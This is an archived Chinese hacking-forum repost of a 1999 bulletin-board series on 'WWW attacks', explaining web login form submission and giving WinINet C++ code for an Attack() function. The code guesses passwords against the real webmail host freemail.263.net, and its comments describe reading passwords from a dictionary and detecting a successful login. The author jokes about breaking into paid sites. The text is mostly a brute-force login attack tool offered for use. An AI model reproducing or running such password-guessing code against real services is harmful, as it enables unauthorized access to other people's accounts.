邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-5-11 00:41

[转载]WWW攻击法

  文章作者:bbb (九万里风鹏路)

贴这篇文章之前
首先向spark说声对不起
本来很早以前就想写这篇文章的
可惜那时候刚好赶上换工作
好了
闲话少说,言归正传

这儿的WWW攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持WWW的免费邮件
如果你想用它来进入黄色站点
那也没办法  :)
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据HTML文件中FORM的定义
把这些信息发给服务器来验证
一般的办法是GET或POST
比如在263中
请看下面的263 HTML源代码
      
        用户名:  @263.net  口令:  
如果点击"请进吧!",浏览器会向服务器发送一下请求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标  题: WWW攻击法(二)
发信站: 我爱南开站 (Wed Nov  3 08:45:57 1999), 转信

微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n";
//pServer是目标主机名
//cszPostData就是剩下的部分
//比如攻击263的免费邮箱,那么
//pServer="freemail.263.net"
//cszPostData="/prog/login?user=tom&pass=fuck"
//当然,你要先读字典文件,读取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
      // Open Internet session.
      HINTERNET hSession = ::InternetOpen("URLHacker",
                INTERNET_OPEN_TYPE_PRECONFIG,
                NULL,
                INTERNET_INVALID_PORT_NUMBER,
                0) ;
      // Connect to dest.
      HINTERNET hConnect = ::InternetConnect(hSession,
                pServer,
                INTERNET_INVALID_PORT_NUMBER,
                "",
                "",
                INTERNET_SERVICE_HTTP,
                0,
                0) ;
      // Request the file from the server.
      HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
                "GET",
                cszPostData,
                HTTP_VERSION,
                NULL,
                0,
                INTERNET_FLAG_DONT_CACHE,
                0) ;
      // Add request headers
      BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea
ders),HTTP_ADDREQ_FLAG_ADD);
      // Send the request.
      BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
      // Get the length of the file.
      char szBuffer[80] ;
      DWORD dwLen = sizeof(szBuffer);
      DWORD dwIndex;
      BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
                szBuffer, &dwLen, NULL);
      DWORD dwRet;
      if (bRet)
           dwRet = (DWORD) atol(szBuffer);
      if (dwRet == HTTP_STATUS_DENIED){
      //这是另外一种验证的办法,和系统的用户名、口令结合起来
      //InternetConnect中第3、4个参数就是用户名和口令
      //下面怎么做不用我说了吧
      }
      if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))

           bRet = TRUE;
      else
      {
           // now that we know how long it is, ask for exactly that much
           // space and really request the header from the API
           LPTSTR pstr = new TCHAR[dwLen];
           bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,
&dwIndex);
           delete []pstr;
      }
      // were we redirected?
      // these response status codes come from WININET.H
      if (dwRet == HTTP_STATUS_MOVED ||
           dwRet == HTTP_STATUS_REDIRECT ||
           dwRet == HTTP_STATUS_REDIRECT_METHOD)
      {
      //被重定向到其它地址,需要重新连接到新的地址
      }
           
      // Convert length from ASCII string to a DWORD.
      // Allocate a buffer for the file.
      char* buffer = new char[dwLen+1] ;
      // Read the file into the buffer.
      DWORD dwBytesRead ;
      BOOL bRead = ::InternetReadFile(hHttpFile,
                      buffer,
                      dwLen+1,
                      &dwBytesRead);
      //可以在这儿根据读到的内容判断攻击是否成功
      //怎么?不会!
      //试一下手工猜口令,肯定给你一个出错的画面
      //如果读到的内容中不包括那些错误信息,就又可能成功了
      delete [] buffer;
      ::InternetCloseHandle(hHttpFile);
      ::InternetCloseHandle(hConnect) ;
      ::InternetCloseHandle(hSession) ;
}

Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标  题: WWW攻击法(三)—注解
发信站: 我爱南开站 (Wed Nov  3 08:58:58 1999), 转信

创建一个会话
HINTERNET hSession = ::InternetOpen(
          "URLHacker",//Agent名,随便取
          INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
          NULL,
          INTERNET_INVALID_PORT_NUMBER,
          0) ;
连接到服务器
HINTERNET hConnect = ::InternetConnect(
          hSession,
          pServer,//服务器名
          INTERNET_INVALID_PORT_NUMBER,
          "",//用户名
          "",//口令
          INTERNET_SERVICE_HTTP,//HTTP
          0,
          0);
向服务器发出请求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
          "GET",//可用GET或POST
          cszPostData,//对应于HTTP命令 GET cdzPostData
          HTTP_VERSION,
          NULL,
          0,
          INTERNET_FLAG_DONT_CACHE,
          0);
加一个请求头,自我炫耀一下,hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);
接下来,查询该请求返回的信息,然后读之。

页: [1]
© 1999-2008 EvilOctal Security Team